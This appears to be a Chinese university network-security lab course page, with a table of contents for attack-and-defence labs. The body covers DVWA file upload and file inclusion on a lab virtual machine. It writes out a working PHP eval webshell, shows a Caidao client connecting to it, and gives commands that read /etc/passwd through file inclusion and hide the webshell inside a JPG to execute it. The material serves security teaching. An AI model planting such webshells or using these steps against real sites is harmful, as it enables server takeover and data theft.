目录

  • 1 §1 实训项目1 搭建网络安全实训环境
    • 1.1 导入(第1次课)
    • 1.2 §1.1 靶场:虚拟机CentOS7.8(192.168.112.100)
      • 1.2.1 (1)DVWA-master
      • 1.2.2 (2)sqli-labs(第3次课)
      • 1.2.3 (3)sqlmap
      • 1.2.4 (4)login, loginPHP
      • 1.2.5 (5)Firefox, Hackbar
      • 1.2.6 2022.09.07作业1 “未知攻,焉知防”
      • 1.2.7 2022.09.14作业3“拖库—爆库、爆表、爆字段、爆数据”
      • 1.2.8 Q&A-1(作业批改、辅导答疑)
    • 1.3 §1.2 Burp(第2次课)
      • 1.3.1 2022.09.08作业2 “工欲善其事,必先利其器”
      • 1.3.2 Q&A-2(作业批改、辅导答疑)
    • 1.4 §1.3 Python
      • 1.4.1 Python的Anaconda3集成开发环境
    • 1.5 §1.4 Kali
      • 1.5.1 2022.09.15作业4“永恒之蓝漏洞”
    • 1.6 §1.5 Wireshark
    • 1.7 2022.09.15腾讯会议答疑
  • 2 §2 实训项目2 SQL注入
    • 2.1 ■(1)SQL注入联合查询(第3次课)
      • 2.1.1 附件:联合查询SQL注入模板
      • 2.1.2 ■模板
    • 2.2 (2)SQL注入(PDF文档)
      • 2.2.1 ①更新Kali系统中的Firefox浏览器并安装浏览器插件
      • 2.2.2 (2)部署sqli-labs学习环境
      • 2.2.3 (3)sqli-labs使用教学
      • 2.2.4 (4)实战:SQL注入联合查询-获取数据库数据
    • 2.3 ■(3)部署loginPHP网站
      • 2.3.1 ●SQL注入测试
      • 2.3.2 ●创建数据库、部署简单登录网站loginPHP、进行SQL注入测试(2019.12.17)
      • 2.3.3 ①login.php
      • 2.3.4 ②loginAuth.php
      • 2.3.5 ③loginAuth1.php
      • 2.3.6 ④success.php
      • 2.3.7 ⑤failure.php
      • 2.3.8 ■⑥(loginPHP网站SQL注入)结果截图
    • 2.4 (4)DVWA的SQL Injection
    • 2.5 (5)拓展视野:靶场SQL注入
  • 3 §3 实训项目3 通过SQLmap进行SQL注入并获得后台管理员账号和密码
    • 3.1 (1)安装DVWA
    • 3.2 (2)安装SQLmap
    • 3.3 (3)※实战 SQLmap探测DVWA的SQL注入漏洞
    • 3.4 (4)结果截图(SQLmap拖库)
    • 3.5 (5)使用BurpSuite进行POST方式的SQL注入
    • 3.6 ■附 安装DVWA-1.9(完整版)
  • 4 §4 实训项目4 使用永恒之蓝漏洞对Win7进行渗透
    • 4.1 (1)获取Win7系统shell、开启远程桌面
    • 4.2 (2)截图
    • 4.3 (3)Metasploit渗透测试
    • 4.4 (4)使用msf渗透攻击XP并进行远程关机
  • 5 §5 实训项目5 安装Kali渗透测试系统
    • 5.1 BT到Kali的发展史
    • 5.2 (1)安装Kali
    • 5.3 (2)安装BT5
    • 5.4 ■附 安装Kali、BT5、DVWA、SQLmap、Win7
  • 6 §6 实训项目6 配置Kali渗透测试系统
    • 6.1 (1)安装Kali渗透测试系统
    • 6.2 (2)SSH连接Kali
    • 6.3 (3)※ettercap抓取FTP登录账号和密码
    • 6.4 (4)结果截图(ettercap抓取FTP登录账号和密码)
  • 7 §7 实训项目7 ARP协议安全攻防
    • 7.1 (1)ARP协议安全攻防(试题)
    • 7.2 (2)※ARP协议安全攻防
    • 7.3 (4)实训 防御密码嗅探-使用arpspoof实施中间人攻击并抓取密码
    • 7.4 (3)练习:防御密码嗅探-使用arpspoof实施中间人攻击并抓取密码
    • 7.5 演示视频 arpsproof+etthercap实施中间人攻击
  • 8 §8 实训项目8 暴力破解
    • 8.1 (1)※实战-通过暴力破解Web登录界面获得管理员权限
    • 8.2 (2)字典工具pydictor.py
    • 8.3 (3)hydra和xhydra
    • 8.4 (4)Medusa
    • 8.5 (5)离线破解md5值和shadow加密文件
    • 8.6 (6)Brute Force(DVWA)
    • 8.7 (7)Burp Suite(Windows)
    • 8.8 (8)Burp Suite(Kali)
  • 9 §9 实训项目9 防止黑客攻破Discuz论坛并拿下数据库
    • 9.1 (1)防止黑客攻破Discuz论坛并拿下数据库
    • 9.2 (2)CentOS6.5-desktop及MySQL
  • 10 §10 实训项目10作业 Wireshark抓取Telnet明文包
    • 10.1 (1)※Wireshark抓取Telnet明文包(CentOS6.5)
    • 10.2 (2)结果截图(Wireshark抓取Telnet明文包)
    • 10.3 (3)常用协议分析(ARP、ICMP、TCP、HTTP、DNS)
  • 11 §11 实训项目11 基于文件上传漏洞获得网站shell权限
    • 11.1 ●文件上传(PDF文档)
    • 11.2 (1)基于文件上传漏洞获得网站shell权限
    • 11.3 (2)本地文件包含漏洞截图
    • 11.4 (3)课程资料
    • 11.5 (4)课外 编辑器KindEditor文件上传漏洞
  • 12 §12 实训项目12 Nmap
    • 12.1 (1)安全工具
    • 12.2 (2)Nmap
    • 12.3 (3)网络空间安全(系统渗透测试篇)
    • 12.4 (4)信息收集
  • 13 §13 实训项目13 File Inclusion文件包含漏洞及防御
    • 13.1 (1)本地文件包含
    • 13.2 (2)远程文件包含
  • 14 §14 实训项目14 XSS跨站脚本攻击
    • 14.1 (1)窃取用户Cookie信息保存到远程服务器
    • 14.2 (2)反射型XSS攻击劫持用户浏览器
    • 14.3 (3)存储型XSS窃取用户信息
  • 15 §15 实训项目15 缓冲区溢出漏洞
  • 16 §16 实训项目16 搭建蜜罐系统捕捉黑客操作步骤
  • 17 考核
    • 17.1 平时成绩(40%+30%)
    • 17.2 期末考试(30%)
  • 18 网络1901-04期末考试(2020-2021-2)
    • 18.1 试题1:damicms
    • 18.2 试题2:sqli-labs
    • 18.3 试题3:dvwa
    • 18.4 试题4:loginPHP
  • 19 校外卷重修-B05123网络安全运行与维护复习
    • 19.1 (1)loginPHP
    • 19.2 (2)Python编程
(1)基于文件上传漏洞获得网站shell权限

1.DVWA文件上传(File Upload)

$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";

$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );


关于$_FILES函数的简单介绍

第一个参数是表单的input name ,第二个下标可以是"name","type","size","tmp_name"或"error"。就像这样:

$_FILES["file"]["name"] 被上传文件的名称

$_FILES["file"]["type"] 被上传文件的类型

$_FILES["file"]["size"] 被上传文件的大小,以字节计

$_FILES["file"]["tmp_name"] 存储在服务器的文件的临时副本的名称

$_FILES["file"]["error"] 由文件上传导致的错误代码

对文件类型简单限制的方式:

$_FILES["file"]["type"] == "image/png"


在DVWA中,将webshell.php上传到/var/www/html/DVWA-1.9/hackable/uploads/webshell.php


2.webshell.php

<?php @eval($_POST[wgxy]);?>

一句话木马的代码格式:@eval($_POST[wgxy]);

eval()函数把字符串按照PHP代码来计算。字符串可以通过$_POST获取代码。wgxy为密码。


3.使用菜刀进行连接

caidao-20160622

caidao.exe

添加:http://192.168.112.100/DVWA-1.9/hackable/uploads/webshell.php

wgxy

PHP(Eval)

(1)可以上传下载文件


(2)连接数据库


(3)虚拟终端

[/var/www/html/]$ ss -antup

[/var/www/html/]$ id

ls

pwd



配置Win7中的Chrome ,使用代理上网:

局域网(LAN)设置,127.0.0.1,8080

不勾选:对于本地地址不使用代理服务器


文件包含漏洞:

http://192.168.112.100/DVWA-1.9/vulnerabilities/fi/?page=file1.php

改file1.php为file:////etc/passwd

http://192.168.112.100/DVWA-1.9/vulnerabilities/fi/?page=file:////etc/passwd

页面中加载了passwd文件,那么我们可以上传一个带有php一句话木马代码的jpg图片。上传成功后,使用菜刀进行连接。


把图片+代码合在一起。最终看到还是一个图片,只是这个图片中有代码。

上传一个带有代码的jpg图片

以文件包含漏洞来执行图片中的php代码

上传图片文件到Kali中,将一句话木马追加到图片中:

# mimetype webshell.php

webshell.php: application/x-php

# mimetype wgxy.jpg

wgxy.jpg: image/jpeg

Windows中通过文件名后缀来识别文件类型,但是Linux中文件名后缀并不根据文件后缀来直接识别文件类型,一般是通过文件头来进行识别。

# cp webshell.php webshell.jpg

# mimetype webshell.jpg

webshell.jpg: application/x-php

可以看到我们更改文件后缀为图片类型但是识别到的还是php文件类型

所以我们通过将php代码合并到图片中来进行隐藏。

# cat webshell.php >> wgxy.jpg

# vim wgxy.jpg

按大写的G直接跳转到文件末尾


http://192.168.112.100/DVWA-1.9/vulnerabilities/fi/?page=file:///var/www/html/DVWA-1.9/hackable/uploads/wgxy.jpg

HackBar中,我们要以Post方式给变量wgxy提交数据:wgxy=phpinfo();